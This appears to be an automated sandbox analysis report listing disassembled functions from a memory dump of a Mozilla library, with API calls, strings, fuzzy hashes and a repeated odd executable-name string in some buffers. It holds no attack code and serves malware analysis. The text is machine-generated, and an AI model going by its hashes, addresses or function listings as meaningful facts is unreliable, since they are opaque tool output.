Instruction ID: 83735fb60f1db9059b648c13c2144cf677a43bdfcea03c123b4dde21a35428e9
Opcode Fuzzy Hash: 061f3ec6ab6e0d7e497afa40cb96b3b3e9964b98a2dc4450fc844e00467ac7eb
Instruction Fuzzy Hash: C851AA71A09300AFD711CF24C844B5ABBF8FF89718F14492DF99997740D778A958CB92

Function 6CDEDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEDE73
GetCurrentThreadId.KERNEL32 ref: 6CDEDF7D
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEDF8A
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEDFC9
GetCurrentThreadId.KERNEL32 ref: 6CDEDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CDB4A68), ref: 6CDEDE7B

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CDB4A68), ref: 6CDEDEB8
free.MOZGLUE(00000000,?,6CDB4A68), ref: 6CDEDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CDEDF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CDEDE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CDEE00E
<none>, xrefs: 6CDEDFD7

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 612391cc90cd247bff4b029dba500a8c1c12e99b545575fac17333d2d2c7f7ac
Instruction ID: 71fd5f93c350be624807866afe085e8268e2dc20e47c7972da44f55027cb8de5
Opcode Fuzzy Hash: 612391cc90cd247bff4b029dba500a8c1c12e99b545575fac17333d2d2c7f7ac
Instruction Fuzzy Hash: ED41F171B01260DBDB109F64DC08BAA77B5EB8A71CF140119E90A9BB11CF7DA905CBF6

Function 6CDFD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDFD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDFD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDFD52A
GetCurrentThreadId.KERNEL32 ref: 6CDFD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDFD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDFD55F
free.MOZGLUE(00000000), ref: 6CDFD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CDFD5D3
GetCurrentThreadId.KERNEL32 ref: 6CDFD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDFD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDFD652
GetCurrentThreadId.KERNEL32 ref: 6CDFD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDFD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDFD6A2

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 73147644bbcaa175e69d2ae114ec51fd3e256058c3d0e716d40e9b4a329d2b03
Instruction ID: 0355c550102fd76cd78b4a297bd9c87135b7ba1bc97ca4816ac110fa142885a2
Opcode Fuzzy Hash: 73147644bbcaa175e69d2ae114ec51fd3e256058c3d0e716d40e9b4a329d2b03
Instruction Fuzzy Hash: B5515D71A04709EFC704DF34C484A9ABBB5FF89318F11862EE85A87761DB34A945CB91

Function 6CDA1E90 Relevance: 21.1, APIs: 9, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1EC1
LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1EE1
EnterCriticalSection.KERNEL32(6CE2E744), ref: 6CDA1F38
LeaveCriticalSection.KERNEL32(6CE2E744), ref: 6CDA1F5C
VirtualFree.KERNEL32(?,N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw,00004000), ref: 6CDA1F83
LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1FC0
EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1FE2
LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDA2019

Strings

\l, xrefs: 6CDA1F3E
WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR, xrefs: 6CDA1F6B
MOZ_CRASH(), xrefs: 6CDA2000
Dl, xrefs: 6CDA1F32
Dl, xrefs: 6CDA1F56

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dl$Dl$MOZ_CRASH()$WN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXAR$\l
API String ID: 2055633661-409339494
Opcode ID: 8140d77858699dfc1a715e8311abe9fef9a6701848a65d16a871b9911428bac5
Instruction ID: 6b05bc47b16c96a9a62c6678e819e384408501488d800bb7d46177935acfcdd7
Opcode Fuzzy Hash: 8140d77858699dfc1a715e8311abe9fef9a6701848a65d16a871b9911428bac5
Instruction Fuzzy Hash: 0041F372F00729CBDF008FB8C885BAA37B5FB49349F110035E94597750DBB898058BD1

Function 6CDC5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CDC56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDC56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CDC56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CDC5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CDC57BC
GetTickCount64.KERNEL32 ref: 6CDC58CB
EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDC58F3
__aulldiv.LIBCMT ref: 6CDC5945
LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDC59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CE2F638,?,?,?,?), ref: 6CDC59E9

Strings

MOZ_APP_RESTART, xrefs: 6CDC56CC

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 38c51bb81442b5b08b22878b59d0061005e7be448e25827101818953856a3a8d
Instruction ID: 3f6803ed6f9127c444f6c385e373c343c3ed9aaabeb6600d25b5594307b56808
Opcode Fuzzy Hash: 38c51bb81442b5b08b22878b59d0061005e7be448e25827101818953856a3a8d
Instruction Fuzzy Hash: EDC1AD31A08750DFCB05CF28C440A6ABBF5FFDA714F158A1DE8C597660E738A885DB82

Function 6CDEEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEEC8C

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEECA1
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CDEECC5
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CDEED19
CloseHandle.KERNEL32(?), ref: 6CDEED28
free.MOZGLUE(00000000), ref: 6CDEED2F
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CDEEC94

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 7a34a36d303ca81066a8cb4c5ebe4519b1792e6d3808e43046dad46c71537c9c
Instruction ID: fc2230e15a0d1d0d8c92777364cb7b3f1cca0c9617343c541084f974314b5427
Opcode Fuzzy Hash: 7a34a36d303ca81066a8cb4c5ebe4519b1792e6d3808e43046dad46c71537c9c
Instruction Fuzzy Hash: 5621E275A00118EBDB019F64DC08BAA7779EB4A26CF244210FC1A97B61DBBD98058BB1

Function 6CDE8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CDAEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDAEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CDEB392,?,?,00000001), ref: 6CDE91F4

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

Strings

data, xrefs: 6CDE90E8
timeline-fileio, xrefs: 6CDE90A4
stack-chart, xrefs: 6CDE90B2
timeline-ipc, xrefs: 6CDE9096
timeline-overview, xrefs: 6CDE907A
timeline-memory, xrefs: 6CDE9088
marker-table, xrefs: 6CDE906C
name, xrefs: 6CDE8F16
marker-chart, xrefs: 6CDE905E

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 09caa052c482921388768b371bf2c0a159765f6939c84ccf47af5c3b959bce2c
Instruction ID: 16842a3b9ff37b13effcfb874e84c0c98c09726d4fa431c3ad65691e351a5e5c
Opcode Fuzzy Hash: 09caa052c482921388768b371bf2c0a159765f6939c84ccf47af5c3b959bce2c
Instruction Fuzzy Hash: F3B1C6B1A012099BDF04CF98C8967EEBBB5FF88318F604019D4066BFA0D7759A55CBE1

Function 6CDCC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDCC5A3
WideCharToMultiByte.KERNEL32 ref: 6CDCC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CDCC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CDCCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CDCCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDCCAA5

Strings

(null), xrefs: 6CDCC596
0, xrefs: 6CDCD30A

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 5ab9b1ba904a1d7ec7f825995a233a2a0b3b849226e1d1b5f3433769930ee67f
Instruction ID: 95b24da442b0a8ebe35932d7225b1b3298453ac3125efae6689007eaf49269c8
Opcode Fuzzy Hash: 5ab9b1ba904a1d7ec7f825995a233a2a0b3b849226e1d1b5f3433769930ee67f
Instruction Fuzzy Hash: 19A1AA307083418FDB10DF29C98871ABBF9AFC9748F14886DE99997661D735E805CB93

Function 6CDCC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDCC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CDCC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CDCC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CDCC891

Strings

INF, xrefs: 6CDCC794
nan, xrefs: 6CDCC7A8
inf, xrefs: 6CDCC78F
NAN, xrefs: 6CDCC7AD

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 37012e98d624d6e480196b6b38dc65e51b067ed44e0a3961371c781f18049e48
Instruction ID: d2ff285846628082316a4a0b02f296b9e976e77c285d69f4503f2100b315cd86
Opcode Fuzzy Hash: 37012e98d624d6e480196b6b38dc65e51b067ed44e0a3961371c781f18049e48
Instruction Fuzzy Hash: 34517F706087448BDB009F68C58169AFBF5BFCA308F004A2DEAD5A7660E774D9858B43

Function 6CDA4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CDE4843,?), ref: 6CDA45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CDE4843,?), ref: 6CDA468A
free.MOZGLUE(?,?,?,?,?,?,6CDE4843,?), ref: 6CDA46C9
free.MOZGLUE(?), ref: 6CDA46EF
free.MOZGLUE(?), ref: 6CDA4712
free.MOZGLUE(?), ref: 6CDA4735
free.MOZGLUE(?), ref: 6CDA4758
free.MOZGLUE(?), ref: 6CDA477B
free.MOZGLUE(?), ref: 6CDA479E

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1e744279ec285106056124fdf149746180db824d1a7377bc2f47252627ad9715
Instruction ID: a35ac7154958c5a97580393abf7dbd0b6cc49a28d11281ca31ad9d7be4358492
Opcode Fuzzy Hash: 1e744279ec285106056124fdf149746180db824d1a7377bc2f47252627ad9715
Instruction Fuzzy Hash: 8BB1F672A001508FDB18DFBCD8907AD77A5AF42328F185629E416DBBB6DF31D8428B91

Function 6CE0AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CE0AC52
CreateFileMappingW.KERNEL32 ref: 6CE0AC7D
GetSystemInfo.KERNEL32 ref: 6CE0AC98
MapViewOfFile.KERNEL32 ref: 6CE0ACB0
GetSystemInfo.KERNEL32 ref: 6CE0ACCD
MapViewOfFile.KERNEL32 ref: 6CE0AD05
UnmapViewOfFile.KERNEL32 ref: 6CE0AD1C
CloseHandle.KERNEL32 ref: 6CE0AD28
UnmapViewOfFile.KERNEL32 ref: 6CE0AD37
CloseHandle.KERNEL32 ref: 6CE0AD43
CloseHandle.KERNEL32 ref: 6CE0AD67

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 50884ef0297a59207fd1e8e03b45a4d2d8b6883dcbfd153c27a4251c2b7bb948
Instruction ID: 98f0c8a261a54486ab801df928a62ef9c8a434a6ea555d72645a94f8fd09fe7b
Opcode Fuzzy Hash: 50884ef0297a59207fd1e8e03b45a4d2d8b6883dcbfd153c27a4251c2b7bb948
Instruction Fuzzy Hash: 76316FB1E047098FDB00AF78D64966EBBF0FF85309F15492DE98697311EB749458CB82

Function 6CDB9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CDB9675
__Init_thread_footer.LIBCMT ref: 6CDB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CDB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CDB9707
__Init_thread_footer.LIBCMT ref: 6CDB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CDB9773

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CDB97B7
FreeLibrary.KERNEL32 ref: 6CDB97D0
FreeLibrary.KERNEL32 ref: 6CDB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CDB9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CDB9670
MapViewOfFileNuma2, xrefs: 6CDB97B1
ntdll.dll, xrefs: 6CDB96E3
NtMapViewOfSection, xrefs: 6CDB9701

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 152b7d3fd1e386df992c2707116cf88b6643d8c194a189aca27ade907798da2a
Instruction ID: d61cae4b85e8c447ccaf4dd2d0a21c44b2dc449e969182069a1d11c8c87899bc
Opcode Fuzzy Hash: 152b7d3fd1e386df992c2707116cf88b6643d8c194a189aca27ade907798da2a
Instruction Fuzzy Hash: 0941CEB4A00315DBDF00DFA4D884B977BB4FB4A328F158129ED46A7790D738E809CBA1

Function 6CDDCC60 Relevance: 15.1, APIs: 7, Strings: 3, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CDA31A7), ref: 6CDDCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CDDCFA4, 6CDDCFB8
N.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARwUqXHQQWdeRTjQOVXiTWN.exeNXARw, xrefs: 6CDDCC6F
<jemalloc>, xrefs: 6CDDCF9F, 6CDDCFB3

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
